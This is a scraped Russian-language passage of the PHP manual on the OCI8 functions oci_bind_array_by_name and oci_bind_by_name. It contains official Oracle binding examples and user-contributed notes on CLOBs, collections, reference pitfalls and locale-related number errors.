function Ora_Fetch(&$cursor)
{
        if ($cursor[2] == 1) $cursor[2]=0;
        return oci_fetch($cursor[1]);
}

function Ora_GetColumn(&$cursor, $indice)
{
        if ($cursor[2] == 1) {
                Ora_Fetch($cursor);
                $cursor[2]=0;
        }
        $valor = oci_result($cursor[1],$indice+1);
        return $valor;
}

function Ora_Close(&$cursor)
{
        unset($cursor[1]);
}

function Ora_Logoff($conexion) {
}
?>


Связывает PHP массив с массивом Oracle PL/SQL

  • « OCI8 Функции
  • oci_bind_by_name »
  • PHP Manual
  • OCI8 Функции
  • Связывает PHP массив с массивом Oracle PL/SQL

oci_bind_array_by_name

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL OCI8 >= 1.2.0)

oci_bind_array_by_name — Связывает PHP массив с массивом Oracle PL/SQL

Описание

oci_bind_array_by_name(
resource $statement,
string $param,
array &$var,
int $max_array_length,
int $max_item_length = -1,
int $type = SQLT_AFC
): bool

Связывает PHP массив var с указателем Oracle param на массив Oracle PL/SQL. Направление, ввод или вывод, для которого будет использоваться массив будет определяться во время выполнения.

Список параметров

statement

Идентификатор допустимого OCI выражения.

param

Указатель на массив Oracle.

var

Массив.

max_array_length

Задаёт максимальный размер для исходного и результирующего массивов.

max_item_length

Задаёт максимальный размер значений массива. Если не задано или равно -1, oci_bind_array_by_name() найдёт самый большой элемент в исходном массиве и использует его размер в качестве этой настройки.

type

Используется для задания типа значений PL/SQL массива. Смотрите список ниже:

  • SQLT_NUM - для массивов с элементами типа NUMBER.

  • SQLT_INT - для массивов с элементами типа INTEGER (Замечание: INTEGER - синоним для типа NUMBER(38), однако тип SQLT_NUM в этом случае не будет работать, даже несмотря на то, что они синонимичны).

  • SQLT_FLT - для массивов с элементами типа FLOAT.

  • SQLT_AFC - для массивов с элементами типа CHAR.

  • SQLT_CHR - для массивов с элементами типа VARCHAR2.

  • SQLT_VCS - для массивов с элементами типа VARCHAR.

  • SQLT_AVC - для массивов с элементами типа CHARZ.

  • SQLT_STR - для массивов с элементами типа STRING.

  • SQLT_LVC - для массивов с элементами типа LONG VARCHAR.

  • SQLT_ODT - для массивов с элементами типа DATE.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования oci_bind_array_by_name()

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$create = "CREATE TABLE bind_example(name VARCHAR(20))";
$stid = oci_parse($conn, $create);
oci_execute($stid);

$create_pkg = "
CREATE OR REPLACE PACKAGE ARRAYBINDPKG1 AS
TYPE ARRTYPE IS TABLE OF VARCHAR(20) INDEX BY BINARY_INTEGER;
PROCEDURE iobind(c1 IN OUT ARRTYPE);
END ARRAYBINDPKG1;";
$stid = oci_parse($conn, $create_pkg);
oci_execute($stid);

$create_pkg_body = "
CREATE OR REPLACE PACKAGE BODY ARRAYBINDPKG1 AS
CURSOR CUR IS SELECT name FROM bind_example;
PROCEDURE iobind(c1 IN OUT ARRTYPE) IS
BEGIN
-- Bulk Insert
FORALL i IN INDICES OF c1
INSERT INTO bind_example VALUES (c1(i));

-- Fetch and reverse
IF NOT CUR%ISOPEN THEN
OPEN CUR;
END IF;
FOR i IN REVERSE 1..5 LOOP
FETCH CUR INTO c1(i);
IF CUR%NOTFOUND THEN
CLOSE CUR;
EXIT;
END IF;
END LOOP;
END iobind;
END ARRAYBINDPKG1;";
$stid = oci_parse($conn, $create_pkg_body);
oci_execute($stid);

$stid = oci_parse($conn, "BEGIN arraybindpkg1.iobind(:c1); END;");
$array = array("one", "two", "three", "four", "five");
oci_bind_array_by_name($stid, ":c1", $array, 5, -1, SQLT_CHR);
oci_execute($stid);

var_dump($array);

?>

User Contributed Notes

david dot paper at usu dot edu 10-Sep-2009 10:44
We were able to get the example included for the "OCI_BIND_ARRAY_BY_NAME" to work. However, the example is NOT actually binding with a PL/SQL array of any type. It is writing data to an Oracle table named "bind_example". Notice how this table is created. The table does NOT have an array type as one of its fields. Since this is the case, there cannot be any binding to a PL/SQL array because at least one field in the table must be either a VARRAY, NESTED TABLE or ASSOCIATIVE ARRAY data type. We searched the Internet and could not find any examples that actually read from a PL/SQL array type. We were able to get data from a PL/SQL VARRAY data type, but only by using a SELECT statement.
Anonymous 12-Jun-2008 09:44
This function appears to work with PL/SQL associative arrays (index-by tables) but I was unable to get it to work with PL/SQL varrays
14-Feb-2007 04:24
Note that it looks like you can't bind a multi-dimensional array with this method. If you try, you'll get a Notice about Array to string conversion, and your PL/SQL will end up with a one-dimensional array filled with the a lot of string values, all saying "Array". :|


Прикрепляет переменную PHP к соответствующей метке в SQL-выражении

  • « oci_bind_array_by_name
  • oci_cancel »
  • PHP Manual
  • OCI8 Функции
  • Прикрепляет переменную PHP к соответствующей метке в SQL-выражении

oci_bind_by_name

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_bind_by_name — Прикрепляет переменную PHP к соответствующей метке в SQL-выражении

Описание

oci_bind_by_name(
resource $statement,
string $param,
mixed &$var,
int $max_length = -1,
int $type = 0
): bool

Прикрепляет переменную var к метке param. Такое прикрепление позволяет повысить производительность и избежать SQL-инъекций.

Прикрепление переменной позволяет базе данных повторно использовать кешированные контекстные выражения от предыдущих запросов, даже если они первоначально были запущены другим пользователем или процессом. Это также снижает риск SQL-инъекций, поскольку данные в таком случае никогда не рассматриваются как инструкции SQL. Данные не требуется экранировать или заключать в кавычки.

Прикреплённые PHP-переменные могут быть изменены и снова выполнены без необходимости повторной обработки запроса или повторного прикрепления.

В Oracle, прикрепление переменных обычно разделяют на IN (прикрепляет значения, передаваемые в базу данных) и OUT (прикрепляет значения, возвращаемые PHP). Переменная может быть одновременно IN и OUT. Независимо от этого, характер прикрепления переменных будет определён во время выполнения.

Необходимо указать max_length при использовании OUT-привязки, что позволяет PHP зарезервировать больше памяти для хранения возвращаемого значения

Для IN-привязки рекомендуется также указать параметр max_length, если выражение выполняется несколько раз с различными значениями PHP-переменной. В противном случае, Oracle может урезать размер данных до размера первоначального значения переменной PHP. Если максимальная длина значения неизвестна, рекомендуется вызывать oci_bind_by_name() перед каждым вызовом oci_execute(). Прикрепление неоправданно большой переменной повлияет на процесс сохранения базы данных.

Вид прикрепления указывает Oracle как работать с памятью при чтении данных. Для IN-прикрепления адрес в памяти должен содержать допустимые данные при вызове oci_execute(). Это значит, что значение переменной должно находиться в памяти во время исполнения. Если это не так, возможны некорректные результаты или ошибки наподобие "ORA-01460: unimplemented or unreasonable conversion requested" (запрошены невыполнимые или некорректные преобразования) Для OUT-прикрепления основным признаком является установка значения в переменную PHP.

Для многократно выполняемого выражения, привязка одних и тех же значений может уменьшить возможности оптимизатора Oracle по выработке наилучшего варианта выполнения инструкции. Длительное прикрепление выражений, которые редко исполняются, может также не принести пользы. Тем не менее, в обоих случаях, прикрепление является более безопасным, чем конкатенация строки запроса и непроверенных пользовательских данных.

Список параметров

statement

Допустимый идентификатор выражения OCI8.

param

Метка с префиксом в виде двоеточия, используемая в выражении. Двоеточие опционально в param. Oracle не использует знак вопроса для меток.

var

Переменная PHP, ассоциированная с param

max_length

Устанавливает максимальный размер данных. Если указать -1, функция будет использовать текущий размер переменной var в качестве максимального. При этом переменная var должна существовать и содержать данные во время вызова oci_bind_by_name().

type

Тип данных, к которому Oracle будет приводить значения. По умолчанию type имеет значение SQLT_CHR. Oracle приводит данные от данного типа к типу поля (или типу переменной PL/SQL), если это возможно.

Если необходимо прикрепить переменную абстрактного типа (LOB/ROWID/BFILE), следует предварительно использовать oci_new_descriptor(). Параметр length не используется для абстрактных типов и должен быть установлен в -1.

Допустимые значения параметра type:

  • SQLT_BFILEE или OCI_B_BFILE - для BFILE-объектов;

  • SQLT_CFILEE или OCI_B_CFILEE - для CFILE-объектов;

  • SQLT_CLOB или OCI_B_CLOB - для CLOB-объектов;

  • SQLT_BLOB или OCI_B_BLOB - для BLOB-объектов;

  • SQLT_RDD или OCI_B_ROWID - для ROWID-объектов;

  • SQLT_NTY или OCI_B_NTY - для именованных типов даты;

  • SQLT_INT или OCI_B_INT - для целых чисел;

  • SQLT_CHR - для символов VARCHAR;

  • SQLT_BIN или OCI_B_BIN - для RAW-полей;

  • SQLT_LNG - для LONG-полей;

  • SQLT_LBI - для LONG RAW полей;

  • SQLT_RSET - для курсоров, созданных функцией oci_new_cursor();

  • SQLT_BOL или OCI_B_BOL - для PL/SQL BOOLEAN (Требуется Oracle Database 12c)

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Добавление данных с использованием oci_bind_by_name()

<?php

// Создание таблицы:
// CREATE TABLE mytab (id NUMBER, text VARCHAR2(40));

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn,"INSERT INTO mytab (id, text) VALUES(:id_bv, :text_bv)");

$id = 1;
$text = "Data to insert ";
oci_bind_by_name($stid, ":id_bv", $id);
oci_bind_by_name($stid, ":text_bv", $text);
oci_execute($stid);

// В таблице содержится: 1, 'Data to insert '

?>

Пример #2 Одна привязка для многократного использования

<?php

// Создание таблицы:
// CREATE TABLE mytab (id NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$a = array(1,3,5,7,11); // данные для вставки

$stid = oci_parse($conn, 'INSERT INTO mytab (id) VALUES (:bv)');
oci_bind_by_name($stid, ':bv', $v, 20);
foreach ($a as $v) {
$r = oci_execute($stid, OCI_DEFAULT); // не использовать автоматическое завершение транзакции
}
oci_commit($conn); // завершение транзакции

// Таблица содержит пять записей: 1, 3, 5, 7, 11

oci_free_statement($stid);
oci_close($conn);

?>

Пример #3 Прикрепление в цикле foreach

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT * FROM departments WHERE department_name = :dname AND location_id = :loc';
$stid = oci_parse($conn, $sql);

$ba = array(':dname' => 'IT Support', ':loc' => 1700);

foreach ($ba as $key => $val) {

// oci_bind_by_name($stid, $key, $val) не работает,
// потому что прикрепляет каждое значение в одно место: $val
// Вместо этого следует указывать конкретное место: $ba[$key]
oci_bind_by_name($stid, $key, $ba[$key]);
}

oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);
foreach ($row as $item) {
print $item."<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

Пример #4 Прикрепление в выражение WHERE

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT last_name FROM employees WHERE department_id = :didbv ORDER BY last_name';
$stid = oci_parse($conn, $sql);
$didbv = 60;
oci_bind_by_name($stid, ':didbv', $didbv);
oci_execute($stid);
while (($row = oci_fetch_array($stid, OCI_ASSOC)) != false) {
echo $row['LAST_NAME'] ."<br>\n";
}

// Выводом будет
// Austin
// Ernst
// Hunold
// Lorentz
// Pataballa

oci_free_statement($stid);
oci_close($conn);

?>

Пример #5 Прикрепление в выражение LIKE

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

// Поиск всех городов, начинающихся на 'South'
$stid = oci_parse($conn, "SELECT city FROM locations WHERE city LIKE :bv");
$city = 'South%'; // '%' - это знак шаблона SQL
oci_bind_by_name($stid, ":bv", $city);
oci_execute($stid);
oci_fetch_all($stid, $res);

foreach ($res['CITY'] as $c) {
print $c . "<br>\n";
}
// Выводом будет:
// South Brunswick
// South San Francisco
// Southlake

oci_free_statement($stid);
oci_close($conn);

?>

Пример #6 Прикрепление в выражение REGEXP_LIKE

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

// Поиск названий городов, содержащих 'ing'
$stid = oci_parse($conn, "SELECT city FROM locations WHERE REGEXP_LIKE(city, :bv)");
$city = '.*ing.*';
oci_bind_by_name($stid, ":bv", $city);
oci_execute($stid);
oci_fetch_all($stid, $res);

foreach ($res['CITY'] as $c) {
print $c . "<br>\n";
}
// Выводом будет:
// Beijing
// Singapore

oci_free_statement($stid);
oci_close($conn);

?>

Для небольшого, фиксированного количества условий в выражении IN, используются индивидуальные имена переменных. Неизвестные значения при исполнении могут быть установлены в NULL. Это позволяет использовать одно выражение нескольким пользователям, что повышает эффективность кеширования Oracle DB.

Пример #7 Прикрепление нескольких значений в выражение IN

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT last_name FROM employees WHERE employee_id in (:e1, :e2, :e3)';
$stid = oci_parse($conn, $sql);
$mye1 = 103;
$mye2 = 104;
$mye3 = NULL; // притворимся, что не получили это значение
oci_bind_by_name($stid, ':e1', $mye1);
oci_bind_by_name($stid, ':e2', $mye2);
oci_bind_by_name($stid, ':e3', $mye3);
oci_execute($stid);
oci_fetch_all($stid, $res);
foreach ($res['LAST_NAME'] as $name) {
print $name ."<br>\n";
}

// Выводом будет:
// Ernst
// Hunold

oci_free_statement($stid);
oci_close($conn);

?>

Пример #8 Прикрепление ROWID, возвращаемое запросом

<?php

// Создадим и наполним таблицу:
// CREATE TABLE mytab (id NUMBER, salary NUMBER, name VARCHAR2(40));
// INSERT INTO mytab (id, salary, name) VALUES (1, 100, 'Chris');
// COMMIT;

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT ROWID, name FROM mytab WHERE id = :id_bv FOR UPDATE');
$id = 1;
oci_bind_by_name($stid, ':id_bv', $id);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);
$rid = $row['ROWID'];
$name = $row['NAME'];

// Переведём имя в верхний регистр и зафиксируем изменения
$name = strtoupper($name);
$stid = oci_parse($conn, 'UPDATE mytab SET name = :n_bv WHERE ROWID = :r_bv');
oci_bind_by_name($stid, ':n_bv', $name);
oci_bind_by_name($stid, ':r_bv', $rid, -1, OCI_B_ROWID);
oci_execute($stid);

// Теперь таблица содержит: 1, 100, CHRIS

oci_free_statement($stid);
oci_close($conn);

?>

Пример #9 OUT-прикрепление ROWID, возвращаемое при INSERT

<?php

// В данном примере добавляется запись с идентификатором и именем,
// после чего увеличивается заработная плата
// Создание таблицы:
// CREATE TABLE mytab (id NUMBER, salary NUMBER, name VARCHAR2(40));
//
// На основе собственных ROWID на примере thies[at]thieso.net (980221)

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = "INSERT INTO mytab (id, name) VALUES(:id_bv, :name_bv)
RETURNING ROWID INTO :rid";

$ins_stid = oci_parse($conn, $sql);

$rowid = oci_new_descriptor($conn, OCI_D_ROWID);
oci_bind_by_name($ins_stid, ":id_bv", $id, 10);
oci_bind_by_name($ins_stid, ":name_bv", $name, 32);
oci_bind_by_name($ins_stid, ":rid", $rowid, -1, OCI_B_ROWID);

$sql = "UPDATE mytab SET salary = :salary WHERE ROWID = :rid";
$upd_stid = oci_parse($conn, $sql);
oci_bind_by_name($upd_stid, ":rid", $rowid, -1, OCI_B_ROWID);
oci_bind_by_name($upd_stid, ":salary", $salary, 32);

// идентификаторы и имена для вставки
$data = array(1111 => "Larry",
2222 => "Bill",
3333 => "Jim");

// Заработная плата для каждого сотрудника
$salary = 10000;

// Вставка и немедленное обновление каждой строки
foreach ($data as $id => $name) {
oci_execute($ins_stid);
oci_execute($upd_stid);
}

$rowid->free();
oci_free_statement($upd_stid);
oci_free_statement($ins_stid);

// Показать новые записи
$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid);
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
var_dump($row);
}

oci_free_statement($stid);
oci_close($conn);

?>

Пример #10 Прикрепление для хранимой функции PL/SQL

<?php

// Перед запуском PHP-сценария, создайте хранимую функцию в
// SQL*Plus или SQL Developer:
//
// CREATE OR REPLACE FUNCTION myfunc(p IN NUMBER) RETURN NUMBER AS
// BEGIN
// RETURN p * 3;
// END;

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$p = 8;

$stid = oci_parse($conn, 'begin :r := myfunc(:p); end;');
oci_bind_by_name($stid, ':p', $p);

// Возвращаемое значение OUT-прикреплено. По умолчаннию типом данных будет строка.
// Прикрепление со значением 40 означает, что будет возвращено 40 символов.
oci_bind_by_name($stid, ':r', $r, 40);

oci_execute($stid);

print "$r\n"; // выведет 24

oci_free_statement($stid);
oci_close($conn);

?>

Пример #11 Прикрепление параметров для PL/SQL хранимой процедуры

<?php

// Перед запуском PHP-сценария, создайте хранимую процедуру в
// SQL*Plus или SQL Developer:
//
// CREATE OR REPLACE PROCEDURE myproc(p1 IN NUMBER, p2 OUT NUMBER) AS
// BEGIN
// p2 := p1 * 2;
// END;

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$p1 = 8;

$stid = oci_parse($conn, 'begin myproc(:p1, :p2); end;');
oci_bind_by_name($stid, ':p1', $p1);

// Второй параметр процедуры OUT-прикреплён. По умолчаннию типом данных будет строка.
// Прикрепление со значением 40 означает, что будет возвращено 40 символов.
oci_bind_by_name($stid, ':p2', $p2, 40);

oci_execute($stid);

print "$p2\n"; // выведет 16

oci_free_statement($stid);
oci_close($conn);

?>

Пример #12 Прикрепление CLOB-объекта

<?php

// Перед запуском создаём таблицу:
// CREATE TABLE mytab (mykey NUMBER, myclob CLOB);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$mykey = 12343; // произвольный ключ для примера

$sql = "INSERT INTO mytab (mykey, myclob)
VALUES (:mykey, EMPTY_CLOB())
RETURNING myclob INTO :myclob";

$stid = oci_parse($conn, $sql);
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_bind_by_name($stid, ":myclob", $clob, -1, OCI_B_CLOB);
oci_execute($stid, OCI_DEFAULT);
$clob->save("A very long string");

oci_commit($conn);

// Получение CLOB-данных

$query = 'SELECT myclob FROM mytab WHERE mykey = :mykey';

$stid = oci_parse ($conn, $query);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_execute($stid);

print '<table border="1">';
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_LOBS)) {
print '<tr><td>'.$row['MYCLOB'].'</td></tr>';
// В цикле, очищение больших переменных перед повторным получением данных, уменьшает пиковое потребление памяти PHP
unset($row);
}
print '</table>';

?>

Пример #13 Прикрепление PL/SQL BOOLEAN

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$plsql =
"begin
:output1 := true;
:output2 := false;
end;";

$s = oci_parse($c, $plsql);
oci_bind_by_name($s, ':output1', $output1, -1, OCI_B_BOL);
oci_bind_by_name($s, ':output2', $output2, -1, OCI_B_BOL);
oci_execute($s);
var_dump($output1); // true
var_dump($output2); // false

?>

Примечания

Внимание

Не используйте addslashes() одновременно с oci_bind_by_name(), так как кавычек быть не должно. Все указанные кавычки будут записаны в базу данных, потому что oci_bind_by_name() вставляет данные дословно и не удаляет кавычки или символы экранирования.

Замечание:

Если прикрепляется строка к CHAR-полю в выражении WHERE, помните, что Oracle использует при сравнении значения CHAR, дополненные пробелами. Переменная PHP должна быть дополнена пробелами до того же размера, что и поле, чтобы выражение WHERE выполнялось верно.

Замечание:

Переменная PHP var является ссылкой. Некоторые виды циклов могут работать не так, как ожидается:

<?php
foreach ($myarray as $key => $value) {
oci_bind_by_name($stid, $key, $value);
}
?>

В этом случае каждый ключ прикрепляется к $value, поэтому все прикреплённые переменные указывают на значение в последней итерации цикла. Вместо этого следует использовать:

<?php
foreach ($myarray as $key => $value) {
oci_bind_by_name($stid, $key, $myarray[$key]);
}
?>

Смотрите также

  • oci_bind_array_by_name() - Связывает PHP массив с массивом Oracle PL/SQL
  • oci_parse() - Подготавливает запрос к выполнению

User Contributed Notes

charles dot fisher at arconic dot com 21-Jul-2021 06:45
I am trying to rework ADOdb library calls to OCI, and I wrote this function today which is helping.

function OraQry(&$Results, $Query, $Binds = false) {
  global $xdb;

  $Results = oci_parse($xdb, $Query);

  if($Binds) foreach($Binds as $BindNm => $BindValJunk)
    oci_bind_by_name($Results, $BindNm, $Binds[$BindNm], -1);

  oci_execute($Results, OCI_NO_AUTO_COMMIT);

  return null;
}

This also has similarity to PDO in passing an array of bind variables, with the added benefit that if they are named numerically (starting at zero), then the call to the array() function can be omitted:

OraQry($rs,
  'select status from all_tables where owner=:0 and table_name=:1',
    [$owner, $table_name]);

while($arr = oci_fetch_assoc($rs)) echo $arr['STATUS'] . "\n";
asui dot dev dot null at gmail dot com 22-Oct-2019 11:20
If you are getting "ORA-01722: invalid number error" while inserting/updating a FLOAT value into a NUMBER column, please check the correctness of a binded value format according to the current locale settings.

Default "american" locale assumes that value send to oracle will be a dot decimal separator (just like 4127.5). But with setlocale('pl_PL.UTF-8') your float number would be represented as 4127,5 and that form will be used while sending data do oracle causing a problem...
That was my case (8 hours of debugging).

You can check your current locale with setlocale(LC_ALL, 0).

What I can recommend as a solutions:
a) do not set locale, or set it to 'C' for a time of sending data;
b) convert float to a string format compatible with current oracle session NLS_NUMERIC_CHARACTERS parameter value.
For example: when NLS_NUMERIC_CHARACTERS = '.,' float value 4127.5 should be converted to '4127.5'.  Then oracle will catch it correctly even if current locale are set differently.
splintyg at gmail dot com 19-Oct-2017 10:28
Guys, i've been looking for long time, how to pass clob to and get from procedure
CREATE OR REPLACE PROCEDURE myproc(p1 IN clob, p2 OUT clob);

Here You are an answer:

<?php
        $conn = oci_connect("TEST", "html", "//hostname", "UTF8");

    $filename = "./clob.txt";
    $handle = fopen($filename, "r");
    $f = fread($handle, filesize($filename));
    fclose($handle);

    $stid = oci_parse($conn, "begin myproc(:p1, :p2); end;");
    $p1 = oci_new_descriptor($conn, OCI_D_LOB);
    $p2 = oci_new_descriptor($conn, OCI_D_LOB);

    oci_bind_by_name($stid, ":p1", $p1, -1, OCI_B_CLOB);
    oci_bind_by_name($stid, ":p2", $p2, -1, OCI_B_CLOB);
    $p1->writeTemporary($f, OCI_TEMP_BLOB);
    oci_execute($stid); -- Figure out OCI_NO_AUTO_COMMIT
    oci_commit($conn);
    echo $p2->load();

    $p1    ->close();
    $p2    ->close();
    oci_free_statement($stid);
    oci_close($conn);
?>

And perfect book about "PHP and Oracle"
http://www.oracle.com/technetwork/topics/php/underground-php-oracle-manual-098250.html
splintyg at gmail dot com 19-Oct-2017 10:27
Guys, i've been looking for long time, how to pass clob to and get from procedure
CREATE OR REPLACE PROCEDURE myproc(p1 IN clob, p2 OUT clob);

Here You are an answer:

<?php
        $conn = oci_connect("TEST", "html", "//hostname", "UTF8");

    $filename = "./clob.txt";
    $handle = fopen($filename, "r");
    $f = fread($handle, filesize($filename));
    fclose($handle);

    $stid = oci_parse($conn, "begin myproc(:p1, :p2); end;");
    $p1 = oci_new_descriptor($conn, OCI_D_LOB);
    $p2 = oci_new_descriptor($conn, OCI_D_LOB);

    oci_bind_by_name($stid, ":p1", $p1, -1, OCI_B_CLOB);
    oci_bind_by_name($stid, ":p2", $p2, -1, OCI_B_CLOB);
    $p1->writeTemporary($f, OCI_TEMP_BLOB);
    oci_execute($stid); -- Figure out OCI_NO_AUTO_COMMIT
    oci_commit($conn);
    echo $p2->load();

    $p1    ->close();
    $p2    ->close();
    oci_free_statement($stid);
    oci_close($conn);
?>

And perfect book about "PHP and Oracle"
http://www.oracle.com/technetwork/topics/php/underground-php-oracle-manual-098250.html
Anonymous 24-Jul-2017 02:25
Bear in mind that you cannot use reserved words for bind variables. Otherwise you'll get ORA-01745: Invalid host/bind variable name error.
martin dot abbrent at ufz dot de 24-Aug-2016 11:21
Example #7 only shows the binding of a small fixed number of values in an IN clause. There is also a way to bind multiple conditions with a variable number of values.

<?php
$ids = array(
    103,
    104
);

$conn         = oci_pconnect($user, $pass, $tns);
// Using ORACLE table() function to get the ids from the subquery
$sql          = 'SELECT * FROM employees WHERE employee_id IN (SELECT column_value FROM table(:ids))';
$stmt         = oci_parse($conn, $sql);
// Create collection of numbers. Build in type for strings is ODCIVARCHAR2LIST, but you can also create own types.
$idCollection = oci_new_collection($conn, 'ODCINUMBERLIST', 'SYS');

// Maximum length of collections of type ODCINUMBERLIST is 32767, maybe you should check that!
foreach ($ids as $id) {
    $idCollection->append($id);
}

oci_bind_by_name($stmt, ':ids', $idCollection, -1, SQLT_NTY);
oci_execute($stmt, OCI_DEFAULT);
oci_fetch_all($stmt, $return);
oci_free_statement($stmt);

oci_close($conn);

?>
marki at trash-mail dot com 28-Mar-2016 09:11
Please note that in my earlier note about having oci_bind_by_name() in a function, this becomes a little more complicated when returning values like "UPDATE table SET bla='blubb' RETURNING id INTO :id".

You can do it as follows:

<?php
function sql($q, &$vars_in=array(), &$vars_out=array()) {
  ...
  $stid = oci_parse($conn, $q);
  ...
  reset($vars_in);
  do {
    if (current($vars_in)===FALSE) {
      break;
    }
    $b = oci_bind_by_name($stid, key($vars_in), current($vars_in));
    // insert exception handling here
  } while (each($vars_in) !== FALSE);

  // VARS TO RETURN
  // we'll fix this to integer type because for now we need this for index IDs
  foreach ($vars_out as $k => $v) {
    $b = oci_bind_by_name($stid, $k, $vars_out[$k], -1, SQLT_INT);
    // insert exception handling here
  }

  ...
}
?>

Use like this:

<?php
$blubb = 'blubb';
$b = array(':bla' => $blubb);
$b_out = array(':id' => ''); // leave value empty
$x = sql($q, $b, $b_out);
$id = $b_out[':id'];
?>

(The point is: you would not be able to return anything into $b[':bla'] because $b[':bla'] becomes current($vars_in) inside sql() and cannot be written to.)
marki at trash-mail dot com 26-Mar-2016 07:53
I had a query that was working properly at first sight, no errors on execute, nothing, but there were simply no results returned at runtime.

Be careful when putting the database commands into a function and binding your variables there while using oci_fetch_xxx() outside the function.

function sql($conn, $stmt, $var) {
  $stid = oci_parse($conn, $stmt);
  ...
  oci_bind_by_name($stid, ':val', $var);
  ...
}
sql($conn, $q, $var);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);

As you see from the definition of oci_bind_by_name(), $var needs to be passed as reference, so your function has to have this reference ready like this:

function sql($conn, $stmt, &$var) {
  $stid = oci_parse($conn, $stmt);
  ...
  oci_bind_by_name($stid, ':val', $var);
  ...
}

The background is that if you don't pass by reference (in which case $var inside the function is a copy of $var outside the function), then oci_bind_by_name() will work just fine at first glance.
However, since the oci_fetch statements that you use to actually get the data will reference the $var that has ceased to exist when the function finished. In fact, since the varbind seems to be a pointer, that pointer will point to an invalid location at that point and your variables won't be substitued in the SQL.

All this also means that:

1) You have to pass a variable, and not just a value

This doesn't work:

$stid = sql($conn, $q, array('bla'=>'blubb'));

This is better:

$vars = array('bla'=>'blubb');
$stid = sql($conn, $q, $vars);

2) Even when passing as reference to your helper function you cannot use e.g. foreach:

This doesn't work:

function sql($conn, $q, $vars) {
  ...
  foreach ($vars as $k => $v) {
    oci_bind_by_name($stid, $k, $v);
  }
  ...
}

Again, because $k and $v are local variables that will have disappeared once you perform an oci_fetch outside the function.

Instead you have to work the array in a more low-level way like this:

function sql($conn, $q, &$vars) {
  ...
  $stid = oci_parse($conn, $q);
  ...
  reset($vars);
  do {
    if (current($vars)===FALSE) { // end of array
      break;
    }
    $b = oci_bind_by_name($stid, key($vars), current($vars));
    if ($b === FALSE) {
      DIE('Could not bind var');
    }
  } while (each($vars) !== FALSE);
}
$binds = array(':bla1' => 'blubb1',
               ':bla2' => 'blubb2');
$stid = sql($conn, $q, $binds);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);

Wherever you oci_bind_by_name(), the pointer to the initial data has to exist from beginning to end.
xorinox at gmx dot ch 23-Sep-2014 02:54
Working with Oracle and raw types in and out worked like the following for me.

<?php
  /*oracle procedure
  procedure open_session(
    i_instance_id in raw,
    o_session_id out raw,
    o_errcode out number,
    o_errmsg out varchar2
  );
  */

  //open database
  $conn = DBOpen( DB_DEV_USER );

  //get session id
  $sql = "begin p_loader.open_session( hextoraw( :instance_id ), :session_id, :errcode, :errmsg ); end;";
  $stmt = oci_parse( $conn, $sql );
  $instanceId = DB_INSTANCE_ID;
  oci_bind_by_name( $stmt, ":instance_id", $instanceId, 1, SQLT_CHR );
  oci_bind_by_name( $stmt, ":session_id", $sessionId, 16, SQLT_BIN );
  oci_bind_by_name( $stmt, ":errcode", $errcode, 12, SQLT_INT );
  oci_bind_by_name( $stmt, ":errmsg", $errmsg, 4000, SQLT_CHR );

  oci_execute( $stmt );
  $sessionId = bin2hex( $sessionId ); //now this is a hex string

  //close database
  DBClose( $conn );
?>
jjeffman at cpovo.net 17-Apr-2014 04:02
